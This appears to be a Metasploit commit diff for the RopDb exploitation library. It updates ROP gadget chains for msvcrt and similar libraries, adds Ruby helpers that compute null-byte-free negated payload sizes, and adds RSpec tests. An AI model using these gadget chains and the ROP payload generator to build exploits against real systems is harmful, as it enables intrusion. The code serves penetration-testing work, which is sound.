Land #2467, @wchen-r7's code to allow dynamic size paylods on ropdb
commit
5aa3709ca2
|
@ -11,7 +11,7 @@
|
|||
<gadget offset="0x0001803c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0001803c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0001750f">POP EBX # RETN</gadget>
|
||||
<gadget value="fffffdff">0x00000201</gadget>
|
||||
<gadget value="safe_negate_size">Safe size to NEG</gadget>
|
||||
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
|
||||
|
@ -40,7 +40,7 @@
|
|||
<gadget offset="0x0003e4fa">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0003e4fa">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0006a2b4">POP EBX # RETN</gadget>
|
||||
<gadget value="fffffdff">0x00000201</gadget>
|
||||
<gadget value="safe_negate_size">Safe size to NEG</gadget>
|
||||
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
<gadget offset="0x00024c66">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00024c66">skip 4 bytes</gadget>
|
||||
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
||||
<gadget value="FFFFFBFF">0x00000201</gadget>
|
||||
<gadget value="safe_negate_size">0x00000201</gadget>
|
||||
<gadget offset="0x00011e05">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x000136e3">POP EBX # RETN</gadget>
|
||||
<gadget value="0xffffffff"></gadget>
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
|
||||
<gadgets base="0x77c10000">
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget value="0xFFFFFBFF">0xFFFFFBFF -> ebx</gadget>
|
||||
<gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
|
||||
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x0001362c">POP EBX # RETN</gadget>
|
||||
|
|
|
@ -29,7 +29,7 @@ class RopDb
|
|||
#
|
||||
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
|
||||
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
|
||||
# and :size_negate.
|
||||
# :unsafe_negate_size, and :safe_negate_size
|
||||
# Note if no RoP is found, it returns an empry array.
|
||||
# Arguments:
|
||||
# rop_name - name of the ROP chain.
|
||||
|
@ -90,8 +90,10 @@ class RopDb
|
|||
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
|
||||
elsif e == :size
|
||||
payload.length
|
||||
elsif e == :size_negate
|
||||
0xffffffff - payload.length + 1
|
||||
elsif e == :unsafe_negate_size
|
||||
get_unsafe_size(payload.length)
|
||||
elsif e == :safe_negate_size
|
||||
get_safe_size(payload.length)
|
||||
else
|
||||
e
|
||||
end
|
||||
|
@ -105,6 +107,28 @@ class RopDb
|
|||
private
|
||||
|
||||
|
||||
#
|
||||
# Returns a size that's safe from null bytes.
|
||||
# This function will keep incrementing the value of "s" until it's safe from null bytes.
|
||||
#
|
||||
def get_safe_size(s)
|
||||
safe_size = get_unsafe_size(s)
|
||||
while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00")
|
||||
safe_size -= 1
|
||||
end
|
||||
|
||||
safe_size
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns a size that might contain one or more null bytes
|
||||
#
|
||||
def get_unsafe_size(s)
|
||||
0xffffffff - s + 1
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Checks if a ROP chain is compatible
|
||||
#
|
||||
|
@ -146,8 +170,10 @@ class RopDb
|
|||
gadgets << :junk
|
||||
when 'size'
|
||||
gadgets << :size
|
||||
when 'size_negate'
|
||||
gadgets << :size_negate
|
||||
when 'unsafe_negate_size'
|
||||
gadgets << :unsafe_negate_size
|
||||
when 'safe_negate_size'
|
||||
gadgets << :safe_negate_size
|
||||
else
|
||||
gadgets << value.to_i(16)
|
||||
end
|
||||
|
@ -160,4 +186,4 @@ class RopDb
|
|||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,91 @@
|
|||
require 'rex/exploitation/ropdb'
|
||||
|
||||
describe Rex::Exploitation::RopDb do
|
||||
context "Class methods" do
|
||||
|
||||
context ".initialize" do
|
||||
it "should initialize with a path of the ROP database ready" do
|
||||
ropdb = Rex::Exploitation::RopDb.new
|
||||
ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/
|
||||
end
|
||||
end
|
||||
|
||||
context ".has_rop?" do
|
||||
ropdb = Rex::Exploitation::RopDb.new
|
||||
|
||||
it "should find the msvcrt ROP database" do
|
||||
ropdb.has_rop?("msvcrt").should eq(true)
|
||||
end
|
||||
|
||||
it "should find the java ROP database" do
|
||||
ropdb.has_rop?("java").should eq(true)
|
||||
end
|
||||
|
||||
it "should find the hxds ROP database" do
|
||||
ropdb.has_rop?("hxds").should eq(true)
|
||||
end
|
||||
|
||||
it "should find the flash ROP database" do
|
||||
ropdb.has_rop?("flash").should eq(true)
|
||||
end
|
||||
|
||||
it "should return false when I supply an invalid database" do
|
||||
ropdb.has_rop?("sinn3r").should eq(false)
|
||||
end
|
||||
end
|
||||
|
||||
context ".select_rop" do
|
||||
ropdb = Rex::Exploitation::RopDb.new
|
||||
|
||||
it "should return msvcrt gadgets" do
|
||||
gadgets = ropdb.select_rop('msvcrt')
|
||||
gadgets.length.should > 0
|
||||
end
|
||||
|
||||
it "should return msvcrt gadgets for windows server 2003" do
|
||||
gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'})
|
||||
gadgets.length.should > 0
|
||||
end
|
||||
|
||||
it "should return msvcrt gadgets with a new base" do
|
||||
gadgets1 = ropdb.select_rop('msvcrt')
|
||||
gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000})
|
||||
|
||||
gadgets2[0].should_not eq(gadgets1[0])
|
||||
end
|
||||
end
|
||||
|
||||
context ".generate_rop_payload" do
|
||||
ropdb = Rex::Exploitation::RopDb.new
|
||||
|
||||
it "should generate my ROP payload" do
|
||||
ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/
|
||||
end
|
||||
|
||||
it "should generate my ROP payload with my stack pivot" do
|
||||
ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'}).should =~ /^BBBB/
|
||||
end
|
||||
end
|
||||
|
||||
context ".get_safe_size" do
|
||||
ropdb = Rex::Exploitation::RopDb.new
|
||||
|
||||
it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do
|
||||
ropdb.send(:get_safe_size, 304).should eq(0xfffffed0)
|
||||
end
|
||||
|
||||
it "should return 0xfffffeff (value is modified to avoid null bytes)" do
|
||||
ropdb.send(:get_safe_size, 256).should eq(0xfffffeff)
|
||||
end
|
||||
end
|
||||
|
||||
context ".get_unsafe_size" do
|
||||
ropdb = Rex::Exploitation::RopDb.new
|
||||
|
||||
it "should return 0xfffffc00 (contains a null byte)" do
|
||||
ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue